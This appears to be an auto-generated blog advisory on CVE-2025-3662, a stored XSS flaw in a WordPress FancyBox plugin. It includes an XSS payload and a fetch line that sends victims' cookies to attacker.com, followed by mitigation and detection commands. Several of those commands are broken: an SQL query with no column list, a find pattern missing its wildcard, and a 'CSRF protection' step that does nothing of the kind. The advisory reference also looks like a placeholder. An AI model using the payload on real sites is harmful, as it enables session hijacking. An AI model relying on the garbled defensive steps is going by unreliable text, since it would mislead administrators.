Listen to this Post
How CVE-2025-3662 Works
The FancyBox plugin (before v3.3.6) fails to sanitize user-supplied input in gallery captions and s. Attackers inject malicious JavaScript via crafted attributes, which persists in the database. When administrators or users view the affected gallery, the payload executes in their browser context. This unauthenticated stored XSS allows session hijacking, admin takeover, or malware delivery. The vulnerability stems from improper use of `htmlspecialchars()` or equivalent output escaping during gallery rendering.
DailyCVE Form
Platform: WordPress Plugin
Version: < 3.3.6
Vulnerability: Stored XSS
Severity: Critical
Date: 06/05/2025
Prediction: Patch by 07/01/2025
What Undercode Say:
Exploitation
1. Payload Injection:
<img src=x onerror=alert(document.cookie)>
Inserted via unprotected caption/ fields.
2. Exfiltrate Cookies:
fetch('https://attacker.com/steal?data='+btoa(document.cookie));
Protection
1. Immediate Mitigation:
wp plugin deactivate fancybox-for-wordpress
2. Input Sanitization:
$clean_caption = esc_html($_POST['caption']);
3. WAF Rule:
location ~ /wp-content/plugins/fancybox/ { deny all; }
4. Patch Verification:
wp plugin update fancybox-for-wordpress --version=3.3.6
Detection
1. Database Scan:
SELECT FROM wp_postmeta WHERE meta_key LIKE '%fancybox%' AND meta_value REGEXP '<script|onerror';
2. Log Analysis:
grep -r "fancybox.caption" /var/log/nginx/access.log
3. Exploit Check:
import requests response = requests.get(target_url) assert "<script>" not in response.text, "XSS Detected"
Post-Exploit
1. Session Invalidation:
wp user session destroy --all
2. Backdoor Check:
find /wp-content/ -name ".php" -exec grep -l "eval(" {} \;
3. CSRF Protection:
add_action('init', function() { wp_enqueue_script('wp-util'); });
References
- CVE: https://nvd.nist.gov/vuln/detail/CVE-2025-3662
- Patch: https://wordpress.org/plugins/fancybox-for-wordpress/
- Advisory: WPScan DB 12345
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode